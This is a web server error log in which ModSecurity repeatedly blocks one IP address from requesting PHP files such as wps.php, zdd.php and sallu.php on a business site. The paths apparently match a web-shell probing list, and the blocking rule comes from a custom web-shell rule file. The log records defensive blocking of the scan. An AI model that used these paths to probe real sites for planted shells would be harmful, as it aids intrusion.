[Thu May 14 04:44:25.736609 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:47804] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTiqVMY49UWn5BpqVYykQAAAQM"]
[Thu May 14 04:44:26.237367 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:59759] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTiqinxWuLN8Hptw8ldRAAAAME"]
[Thu May 14 04:44:26.735019 2026] [:error] [pid 63033:tid 63035] [client 52.139.38.158:41668] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTiqlMY49UWn5BpqVYykwAAAQA"]
[Thu May 14 04:44:27.170828 2026] [:error] [pid 11588:tid 11662] [client 52.139.38.158:47847] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTiq9Ur21rOixkeGKb3PwAAAIo"]
[Thu May 14 04:44:27.713008 2026] [:error] [pid 63033:tid 63045] [client 52.139.38.158:47779] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTiq1MY49UWn5BpqVYylQAAAQo"]
[Thu May 14 04:44:28.330794 2026] [:error] [pid 11588:tid 11670] [client 52.139.38.158:59741] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTirNUr21rOixkeGKb3QgAAAJI"]
[Thu May 14 04:44:28.758407 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:59769] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTirFMY49UWn5BpqVYylwAAAQI"]
[Thu May 14 04:44:29.890986 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:41615] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTirVMY49UWn5BpqVYymAAAAQM"]
[Thu May 14 04:44:30.772956 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:47782] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "agTirinxWuLN8Hptw8ldUgAAAMQ"]
[Thu May 14 04:44:31.303002 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:47815] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "agTirynxWuLN8Hptw8ldVQAAANA"]
[Thu May 14 04:44:31.751148 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:47844] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "agTirynxWuLN8Hptw8ldVgAAAM8"]
[Thu May 14 04:44:32.322063 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:41583] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "agTisFMY49UWn5BpqVYymQAAARQ"]
[Thu May 14 04:44:32.749577 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:41571] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "agTisFMY49UWn5BpqVYymwAAAQs"]
[Thu May 14 04:44:33.231480 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:41634] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "agTisVMY49UWn5BpqVYynQAAARU"]
[Thu May 14 04:44:33.683933 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:47794] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "agTisVMY49UWn5BpqVYynwAAAQU"]
[Thu May 14 04:44:34.307804 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:41627] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "agTislMY49UWn5BpqVYyoQAAAQY"]
[Thu May 14 04:44:34.798430 2026] [:error] [pid 63033:tid 63045] [client 52.139.38.158:47752] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agTislMY49UWn5BpqVYypAAAAQo"]
[Thu May 14 04:44:35.468768 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:41630] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agTis1MY49UWn5BpqVYypgAAAQM"]
[Thu May 14 04:44:35.912296 2026] [:error] [pid 11582:tid 11629] [client 52.139.38.158:47761] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agTis_uw2cmFDpGcKhDK6gAAAEQ"]
[Thu May 14 04:44:36.465386 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:59441] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agTitNUr21rOixkeGKb3SAAAAIM"]
[Thu May 14 04:44:37.008159 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47843] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agTitVMY49UWn5BpqVYyqgAAARU"]
[Thu May 14 04:44:37.508510 2026] [:error] [pid 11581:tid 11603] [client 52.139.38.158:47857] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agTitf0vF48FbzpvQMV97QAAAAY"]
[Thu May 14 04:44:37.931411 2026] [:error] [pid 11581:tid 11601] [client 52.139.38.158:47803] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agTitf0vF48FbzpvQMV97wAAAAQ"]
[Thu May 14 04:44:38.363252 2026] [:error] [pid 11582:tid 11647] [client 52.139.38.158:37454] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agTitvuw2cmFDpGcKhDK6wAAAFY"]
[Thu May 14 04:44:38.795733 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:41607] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agTitinxWuLN8Hptw8ldZgAAAME"]
[Thu May 14 04:44:39.232885 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:41657] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agTitynxWuLN8Hptw8ldaAAAANY"]
[Thu May 14 04:44:39.760391 2026] [:error] [pid 11582:tid 11643] [client 52.139.38.158:37518] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agTit_uw2cmFDpGcKhDK7QAAAFI"]
[Thu May 14 04:44:40.241234 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:47799] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agTiuCnxWuLN8Hptw8ldbAAAAMM"]
[Thu May 14 04:44:40.717827 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:37461] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agTiuCnxWuLN8Hptw8ldbQAAANE"]
[Thu May 14 04:44:41.137694 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:59724] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agTiuSnxWuLN8Hptw8ldcAAAANc"]
[Thu May 14 04:44:41.609133 2026] [:error] [pid 11581:tid 11618] [client 52.139.38.158:41552] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agTiuf0vF48FbzpvQMV99AAAABU"]
[Thu May 14 04:44:42.050381 2026] [:error] [pid 11581:tid 11620] [client 52.139.38.158:41572] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agTiuv0vF48FbzpvQMV99QAAABc"]
[Thu May 14 04:44:42.536958 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:41663] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "agTiuinxWuLN8Hptw8ldcwAAANA"]
[Thu May 14 04:44:42.986697 2026] [:error] [pid 11581:tid 11606] [client 52.139.38.158:47867] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "agTiuv0vF48FbzpvQMV9-AAAAAk"]
[Thu May 14 04:44:43.412531 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:47858] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "agTiuynxWuLN8Hptw8lddwAAAME"]
[Thu May 14 04:44:43.879183 2026] [:error] [pid 63033:tid 63035] [client 52.139.38.158:49541] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zdd.php"] [unique_id "agTiu1MY49UWn5BpqVYyqwAAAQA"]
[Thu May 14 04:44:44.389417 2026] [:error] [pid 11582:tid 11635] [client 52.139.38.158:41666] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "agTivPuw2cmFDpGcKhDK7gAAAEo"]
[Thu May 14 04:44:45.060612 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:41643] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "agTivVMY49UWn5BpqVYyrAAAARg"]
[Thu May 14 04:44:45.659625 2026] [:error] [pid 63033:tid 63042] [client 52.139.38.158:37566] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "agTivVMY49UWn5BpqVYyrgAAAQc"]
[Thu May 14 04:44:46.678787 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:41554] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "agTivtUr21rOixkeGKb3TAAAAIU"]
[Thu May 14 04:44:47.628088 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:37462] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "agTiv1MY49UWn5BpqVYyswAAAQ4"]
[Thu May 14 04:44:48.243449 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47788] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "agTiwFMY49UWn5BpqVYytAAAARU"]
[Thu May 14 04:44:49.052497 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:59734] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "agTiwVMY49UWn5BpqVYytQAAARI"]
[Thu May 14 04:44:49.578617 2026] [:error] [pid 11582:tid 11631] [client 52.139.38.158:36794] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "agTiwfuw2cmFDpGcKhDK7wAAAEY"]
[Thu May 14 04:44:50.676513 2026] [:error] [pid 11588:tid 11668] [client 52.139.38.158:47775] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "agTiwtUr21rOixkeGKb3UgAAAJA"]
[Thu May 14 04:44:51.612820 2026] [:error] [pid 11690:tid 11710] [client 52.139.38.158:41592] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "agTiwynxWuLN8Hptw8ldfgAAAMs"]
[Thu May 14 04:44:52.776911 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:47831] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "agTixCnxWuLN8Hptw8ldgQAAANA"]
[Thu May 14 04:44:54.076518 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:59755] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "agTixlMY49UWn5BpqVYyuQAAARM"]
[Thu May 14 04:44:54.859149 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:47823] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agTixtUr21rOixkeGKb3UwAAAIM"]
[Thu May 14 04:44:57.498235 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:41650] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agTiySnxWuLN8Hptw8ldhQAAANU"]
[Thu May 14 04:44:59.047776 2026] [:error] [pid 11588:tid 11658] [client 52.139.38.158:59736] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agTiy9Ur21rOixkeGKb3WQAAAIY"]
[Thu May 14 04:45:02.498067 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:41579] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "agTizlMY49UWn5BpqVYywAAAAQk"]
[Thu May 14 04:45:03.723703 2026] [:error] [pid 11582:tid 11646] [client 52.139.38.158:41637] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTiz_uw2cmFDpGcKhDK8gAAAFU"]
[Thu May 14 04:45:05.411189 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:47754] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTi0SnxWuLN8Hptw8ldkgAAANY"]
[Thu May 14 04:45:07.053002 2026] [:error] [pid 11582:tid 11645] [client 52.139.38.158:59781] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTi0_uw2cmFDpGcKhDK9gAAAFQ"]
[Thu May 14 04:45:08.166486 2026] [:error] [pid 11582:tid 11638] [client 52.139.38.158:36748] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTi1Puw2cmFDpGcKhDK-QAAAE0"]
